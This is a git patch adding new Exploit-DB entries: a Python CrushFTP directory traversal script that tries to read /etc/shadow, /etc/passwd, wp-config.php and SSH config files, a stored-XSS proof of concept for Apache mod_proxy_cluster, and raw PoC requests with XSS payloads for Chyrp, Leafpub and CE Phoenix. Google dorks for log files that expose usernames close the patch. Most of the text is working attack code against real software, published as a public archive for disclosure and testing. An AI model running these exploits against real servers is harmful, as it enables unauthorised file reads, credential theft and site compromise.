From 9d17a3d6ca1aaecf63819d969d9453d71faf8893 Mon Sep 17 00:00:00 2001 From: Exploit-DB Date: Tue, 14 May 2024 00:16:26 +0000 Subject: [PATCH] DB: 2024-05-14 10 changes to exploits/shellcodes/ghdb CrushFTP < 11.1.0 - Directory Traversal Apache mod_proxy_cluster - Stored XSS CE Phoenix Version 1.0.8.20 - Stored XSS Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS) Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS) Prison Management System - SQL Injection Authentication Bypass PyroCMS v3.0.1 - Stored XSS Plantronics Hub 3.25.1 - Arbitrary File Read --- exploits/multiple/remote/52012.py | 63 +++++++++++++++++ exploits/php/webapps/52010.py | 109 ++++++++++++++++++++++++++++++ exploits/php/webapps/52013.txt | 80 ++++++++++++++++++++++ exploits/php/webapps/52014.txt | 39 +++++++++++ exploits/php/webapps/52015.txt | 14 ++++ exploits/php/webapps/52016.txt | 17 +++++ exploits/php/webapps/52017.txt | 14 ++++ exploits/windows/local/52011.txt | 25 +++++++ files_exploits.csv | 8 +++ ghdb.xml | 24 +++++++ 10 files changed, 393 insertions(+) create mode 100755 exploits/multiple/remote/52012.py create mode 100755 exploits/php/webapps/52010.py create mode 100644 exploits/php/webapps/52013.txt create mode 100644 exploits/php/webapps/52014.txt create mode 100644 exploits/php/webapps/52015.txt create mode 100644 exploits/php/webapps/52016.txt create mode 100644 exploits/php/webapps/52017.txt create mode 100644 exploits/windows/local/52011.txt diff --git a/exploits/multiple/remote/52012.py b/exploits/multiple/remote/52012.py new file mode 100755 index 0000000000..916570e343 --- /dev/null +++ b/exploits/multiple/remote/52012.py @@ -0,0 +1,63 @@ +## Exploit Title: CrushFTP Directory Traversal +## Google Dork: N/A +# Date: 2024-04-30 +# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly) +## Vendor Homepage: https://www.crushftp.com/ +## Software Link: https://www.crushftp.com/download/ +## Version: below 10.7.1 and 11.1.0 (as well as legacy 9.x) +## Tested on: Windows10 + +import requests +import re + +# Regular expression to validate the URL +def is_valid_url(url): + regex = re.compile( + r'^(?:http|ftp)s?://' # http:// or https:// + r'(?:(?:A-Z0-9?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... + r'localhost|' # localhost... + r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|' # ...or ipv4 + r'\[?[A-F0-9]*:[A-F0-9:]+\]?)' # ...or ipv6 + r'(?::\d+)?' # optional: port + r'(?:/?|[/?]\S+)$', re.IGNORECASE) + return re.match(regex, url) is not None + +# Function to scan for the vulnerability +def scan_for_vulnerability(url, target_files): + print("Scanning for vulnerability in the following files:") + for target_file in target_files: + print(target_file) + + for target_file in target_files: + try: + response = requests.get(url + "?/../../../../../../../../../../" + target_file, timeout=10) + if response.status_code == 200 and target_file.split('/')[-1] in response.text: + print("vulnerability detected in file", target_file) + print("Content of file", target_file, ":") + print(response.text) + else: + print("vulnerability not detected or unexpected response for file", target_file) + except requests.exceptions.RequestException as e: + print("Error connecting to the server:", e) + +# User input +input_url = input("Enter the URL of the CrushFTP server: ") + +# Validate the URL +if is_valid_url(input_url): + # Expanded list of allowed files + target_files = [ + "/var/www/html/index.php", + "/var/www/html/wp-config.php", + "/etc/passwd", + "/etc/shadow", + "/etc/hosts", + "/etc/ssh/sshd_config", + "/etc/mysql/my.cnf", + # Add more files as needed + + ] + # Start the scan + scan_for_vulnerability(input_url, target_files) +else: + print("Invalid URL entered. Please enter a valid URL.") \ No newline at end of file diff --git a/exploits/php/webapps/52010.py b/exploits/php/webapps/52010.py new file mode 100755 index 0000000000..649bee154e --- /dev/null +++ b/exploits/php/webapps/52010.py @@ -0,0 +1,109 @@ +import requests +import argparse +from bs4 import BeautifulSoup +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +from requests.exceptions import RequestException + +class Colors: + RED = '\033[91m' + GREEN = '\033[1;49;92m' + RESET = '\033[0m' + +def get_cluster_manager_url(base_url, path): + print(Colors.GREEN + f"Preparing the groundwork for the exploitation on {base_url}..." + Colors.RESET) + try: + response = requests.get(base_url + path) + response.raise_for_status() + except requests.exceptions.RequestException as e: + print(Colors.RED + f"Error: {e}" + Colors.RESET) + return None + + print(Colors.GREEN + f"Starting exploit check on {base_url}..." + Colors.RESET) + + if response.status_code == 200: + print(Colors.GREEN + f"Check executed successfully on {base_url}..." + Colors.RESET) + # Use BeautifulSoup to parse the HTML content + soup = BeautifulSoup(response.text, 'html.parser') + + # Find all 'a' tags with 'href' attribute + all_links = soup.find_all('a', href=True) + + # Search for the link containing the Alias parameter in the href attribute + cluster_manager_url = None + for link in all_links: + parsed_url = urlparse(link['href']) + query_params = parse_qs(parsed_url.query) + alias_value = query_params.get('Alias', [None])[0] + + if alias_value: + print(Colors.GREEN + f"Alias value found" + Colors.RESET) + cluster_manager_url = link['href'] + break + + if cluster_manager_url: + print(Colors.GREEN + f"Preparing the injection on {base_url}..." + Colors.RESET) + return cluster_manager_url + else: + print(Colors.RED + f"Error: Alias value not found on {base_url}..." + Colors.RESET) + return None + + print(Colors.RED + f"Error: Unable to get the initial step on {base_url}") + return None + +def update_alias_value(url): + parsed_url = urlparse(url) + query_params = parse_qs(parsed_url.query, keep_blank_values=True) + query_params['Alias'] = [""] + updated_url = urlunparse(parsed_url._replace(query=urlencode(query_params, doseq=True))) + print(Colors.GREEN + f"Injection executed successfully on {updated_url}" + Colors.RESET) + return updated_url + +def check_response_for_value(url, check_value): + response = requests.get(url) + if check_value in response.text: + print(Colors.RED + "Website is vulnerable POC by :") + print(Colors.GREEN + """ + ____ _ ____ _ _ _____ + | _ \ ___ __| / ___| ___ ___ | || |___ | + | | | |/ _ \/ _` \___ \ / _ \/ __| ____| || | / / + | |_| | __/ (_| |___) | __/ (_ |____|__ | / / + |____/ \___|\__,_|____/ \___|\___| |_|/_/ + github.com/DedSec-47 """) + else: + print(Colors.GREEN + "Website is not vulnerable POC by :") + print(Colors.GREEN + """ + ____ _ ____ _ _ _____ + | _ \ ___ __| / ___| ___ ___ | || |___ | + | | | |/ _ \/ _` \___ \ / _ \/ __| ____| || | / / + | |_| | __/ (_| |___) | __/ (_ |____|__ | / / + |____/ \___|\__,_|____/ \___|\___| |_|/_/ + github.com/DedSec-47 """) + +def main(): + # Create a command-line argument parser + parser = argparse.ArgumentParser(description="python CVE-2023-6710.py -t https://example.com -u /cluster-manager") + + # Add a command-line argument for the target (-t/--target) + parser.add_argument('-t', '--target', help='Target domain (e.g., https://example.com)', required=True) + + # Add a command-line argument for the URL path (-u/--url) + parser.add_argument('-u', '--url', help='URL path (e.g., /cluster-manager)', required=True) + + # Parse the command-line arguments + args = parser.parse_args() + + # Get the cluster manager URL from the specified website + cluster_manager_url = get_cluster_manager_url(args.target, args.url) + + # Check if the cluster manager URL is found + if cluster_manager_url: + # Modify the URL by adding the cluster manager value + modified_url = args.target + cluster_manager_url + modified_url = update_alias_value(args.target + cluster_manager_url) + print(Colors.GREEN + "Check executed successfully" + Colors.RESET) + + # Check the response for the value "" + check_response_for_value(modified_url, "") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/php/webapps/52013.txt b/exploits/php/webapps/52013.txt new file mode 100644 index 0000000000..2175fa5aa6 --- /dev/null +++ b/exploits/php/webapps/52013.txt @@ -0,0 +1,80 @@ +# Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS) +# Date: 2024-04-24 +# Exploit Author: Ahmet Ümit BAYRAM +# Vendor Homepage: https://github.com/chyrp/ +# Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip +# Version: 2.5.2 +# Tested on: MacOS + +### Steps to Reproduce ### + +- Login from the address: http://localhost/chyrp/?action=login. +- Click on 'Write'. +- Type this payload into the 'Title' field: "> +- Fill in the 'Body' area and click 'Publish'. +- An alert message saying "Stored" will appear in front of you. + +### PoC Request ### + +POST /chyrp/admin/?action=add_post HTTP/1.1 +Host: localhost +Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11; +show_more_options=true +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) +Gecko/20100101 Firefox/124.0 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp, +*/*;q=0.8 +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate, br +Content-Type: multipart/form-data; +boundary=---------------------------28307567523233313132815561598 +Content-Length: 1194 +Origin: http://localhost +Referer: http://localhost/chyrp/admin/?action=write_post +Upgrade-Insecure-Requests: 1 +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: same-origin +Sec-Fetch-User: ?1 +Te: trailers +Connection: close + +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="title" + +"> +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="body" + +

1337

+-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="status" + +public +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="slug" + + +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="created_at" + +04/24/24 12:31:57 +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="original_time" + +04/24/24 12:31:57 +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="trackbacks" + + +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="feather" + +text +-----------------------------28307567523233313132815561598 +Content-Disposition: form-data; name="hash" + +11e11aba15114f918ec1c2e6b8f8ddcf +-----------------------------28307567523233313132815561598-- \ No newline at end of file diff --git a/exploits/php/webapps/52014.txt b/exploits/php/webapps/52014.txt new file mode 100644 index 0000000000..0d1c862d74 --- /dev/null +++ b/exploits/php/webapps/52014.txt @@ -0,0 +1,39 @@ +# Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS) +# Date: 2024-04-24 +# Exploit Author: Ahmet Ümit BAYRAM +# Vendor Homepage: https://github.com/Leafpub +# Software Link: https://github.com/Leafpub/leafpub +# Version: 1.1.9 +# Tested on: MacOS + +### Steps to Reproduce ### + +- Please login from this address: http://localhost/leafpub/admin/login +- Click on the Settings > Advanced +- Enter the following payload into the "Custom Code" area and save it: (">) +- An alert message saying "Stored" will appear in front of you. + +### PoC Request ### + +POST /leafpub/api/settings HTTP/1.1 +Host: localhost +Cookie: +authToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTM5NjQ2MTcsImV4cCI6MTcxMzk2ODIxNywiZGF0YSI6eyJ1c2VybmFtZSI6ImFkbWluIn19.967N5NYdUKxv1sOXO_OTFiiLlm7sfgDWPXKX7iEZwlo +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) +Gecko/20100101 Firefox/124.0 +Accept: */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate, br +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 476 +Origin: http://localhost +Referer: http://localhost/leafpub/admin/settings +Sec-Fetch-Dest: empty +Sec-Fetch-Mode: cors +Sec-Fetch-Site: same-origin +Te: trailers +Connection: close + +title=A+Leafpub+Blog&tagline=Go+forth+and+create!&homepage=&twitter=&theme=range&posts-per-page=10&cover=source%2Fassets%2Fimg%2Fleaves.jpg&logo=source%2Fassets%2Fimg%2Flogo-color.png&favicon=source%2Fassets%2Fimg%2Flogo-color.png&language=en-us&timezone=America%2FNew_York&default-title=Untitled+Post&default-content=Start+writing+here...&head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&foot-code=&generator=on&mailer=default&maintenance-message=&hbs-cache=on \ No newline at end of file diff --git a/exploits/php/webapps/52015.txt b/exploits/php/webapps/52015.txt new file mode 100644 index 0000000000..c01729be3e --- /dev/null +++ b/exploits/php/webapps/52015.txt @@ -0,0 +1,14 @@ +# Exploit Title: CE Phoenix Version 1.0.8.20 - Stored XSS +# Date: 2023-11-25 +# Exploit Author: tmrswrr +# Category : Webapps +# Vendor Homepage: https://phoenixcart.org/ +# Version: v3.0.1 +# Tested on: https://www.softaculous.com/apps/ecommerce/CE_Phoenix + +## POC: + +1-Login admin panel , go to this url : https://demos6.softaculous.com/CE_Phoenixx3r6jqi4kl/admin/currencies.php +2-Click edit and write in Title field your payload : 2020-10-21 Alexandros Pappas + + 8440 + https://www.exploit-db.com/ghdb/8440 + Files Containing Usernames + "Header for logs at time" ext:log + "Header for logs at time" ext:log + "Header for logs at time" ext:log + https://www.google.com/search?q="Header for logs at time" ext:log + + 2024-05-13 + Nadir Boulacheb (RubX) + 6535 https://www.exploit-db.com/ghdb/6535 @@ -65505,6 +65517,18 @@ Sahil Saxena 2004-04-13 anonymous + + 8441 + https://www.exploit-db.com/ghdb/8441 + Files Containing Usernames + "START test_database" ext:log + "START test_database" ext:log + "START test_database" ext:log + https://www.google.com/search?q="START test_database" ext:log + + 2024-05-13 + Nadir Boulacheb (RubX) + 4858 https://www.exploit-db.com/ghdb/4858